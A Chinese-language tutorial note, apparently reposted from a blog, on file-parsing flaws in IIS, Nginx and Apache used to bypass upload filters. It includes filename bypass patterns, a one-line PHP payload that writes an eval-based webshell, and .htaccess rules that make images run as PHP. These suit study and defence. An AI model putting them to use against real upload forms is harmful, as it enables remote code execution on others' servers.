中间件-文件解析漏洞笔记(多用于文件上传漏洞)

IIS解析漏洞

  1. 目录解析漏洞(/test.asp/1.jpg) ---------IIS5.x/6.0
  2. 文件名解析漏洞(test.asp;.jpg)---------IIS5.x/6.0
  3. 畸形解析漏洞(test.jpg/*.php)-----------IIS7.0
  4. 其他解析漏洞---------windows环境

Ngnix解析漏洞

  1. 畸形解析漏洞(test.jpg/*.php)
  2. %00空字节代码解析漏洞
  3. CVE-2013-4547(%20%00)

Apache解析漏洞

  1. 文件名解析漏洞
  2. .htaccess文件

目录解析漏洞(/test.asp/1.jpg)

IIS5.x/6.0 中,在网站下建立文件夹的名字为*.asp、*.asa、*.cer、*.cdx 的文件夹,那么其目录内的任何扩展名的文件都会被IIS当做asp文件来解释并执行。

例如burpsuite抓包创建目录 test.asp,那么 /test.asp/1.jpg 将被当做asp文件来执行。假设黑客可以控制上传文件夹路径,就可以不管上传后你的图片改不改名都能拿shell

文件名解析漏洞(test.asp;.jpg)

IIS5.x/6.0 中, 分号后面的不被解析,也就是说 yu.asp;.jpg 会被服务器看成是yu.asp。还有IIS6.0默认的可执行文件除了asp还包含这两种 .asa   .cer 。

而有些网站对用户上传的文件进行校验,只是校验其后缀名。所以我们只要上传 *.asp;.jpg、*.asa;.jpg、*.cer;.jpg 后缀的文件

就可以通过服务器校验,并且服务器会把它当成asp文件执行。

畸形解析漏洞(test.jpg/*.php)

微软发布了IIS7.0修补了IIS6.0的解析漏洞,没想到IIS7.0爆出更严重的畸形解析漏洞,于是微软急忙发布了IIS7.5

在 IIS7.0中,在默认Fast-CGI开启状况下,我们往图片里面写入下面的代码

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[x])?>')?>

将文件保存成test.jpg格式,上传到服务器,假设上传路径为/upload,上传成功后,直接访问/upload/test.jpg/x.php,此时神奇的畸形解析开始发挥作用啦。test.jpg将会被服务器当成php文件执行,所以图片里面的代码就会被执行。我们会神奇的发现在 /upload 目录下创建了一个一句话木马文件 shell.php 。

临时解决办法:设置 cgi.fix_pathinfo为0

这个解析漏洞和下面讲的Nginx的解析漏洞是一样的。

其他解析漏洞

windows环境下,xx.jpg[空格]  或 xx.jpg.  这两类文件都是不允许存在的,若这样命名,windows会默认除去空格,黑客可以通过抓包,在文件名后加一个空格或者点绕过黑名单。若上传成功,空格和点都会被windows自动消除。

Ngnix解析漏洞

畸形解析漏洞(test.jpg/*.php)

漏洞原因:

· php的配置文件 php.ini 文件中开启了 cgi.fix_pathinfo

· /etc/php5/fpm/pool.d/www.conf中不正确的配置security.limit_extensions,导致允许将其他格式文件作为php解析执行

nginx<0.8.03环境中,我们新建一个文件,内容为:<?php phpinfo() ?> ,然后将其名字修改为:  test.jpg

在浏览器中访问http://192.168.10.139/test.jpg  显示图片解析错误。在浏览器中访问 http://192.168.10.139/test.jpg/test.php ,显示:Access denied.

原因在于,Nginx拿到文件路径(更专业的说法是URI)/test.jpg/test.php 后,一看后缀是.php,便认为该文件是php文件,于是转交给php去处理。php一看 /test.jpg/test.php 不存在,便删去最后的/test.php,又看/test.jpg存在,便把/test.jpg当成要执行的文件了,又因为后缀为.jpg,php认为这不是php文件,于是返回  Access denied. 。

%00空字节代码解析漏洞

原理Ngnix在遇到%00空字节时与后端FastCGI处理不一致,导致可以在图片中嵌入PHP代码然后通过访问xxx.jpg%00.php来执行其中的代码

在以下版本的nginx中,我们在图片中嵌入PHP代码然后通过访问 xxx.jpg%00.php 来执行其中的代码

·  Nginx 0.5.*

·  Nginx 0.6.*

·  Nginx 0.7 <= 0.7.65

·  Nginx 0.8 <= 0.8.37

Apache解析漏洞

.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。

通过 .htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、

允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件,

该文件默认开启,启用和关闭在 httpd.conf 文件中配置。

 .htaccess 文件生效前提条件为

· mod_rewrite 模块开启

· AllowOverride All

#1:这个.htaccess的意思就是把所有名字里面含有shell的文件当成php脚本来执行

<FilesMatch   "shell"> 

SetHandler  application/x-httpd-php 

</FilesMatchc>

#2:这里代码的意思可以让 .jpg后缀名文件格式的文件名以php格式解析

AddType application/x-httpd-php .jpg

 这样就可以上传访问了

原文地址:https://www.cnblogs.com/Qiuzhiyu/p/12534216.html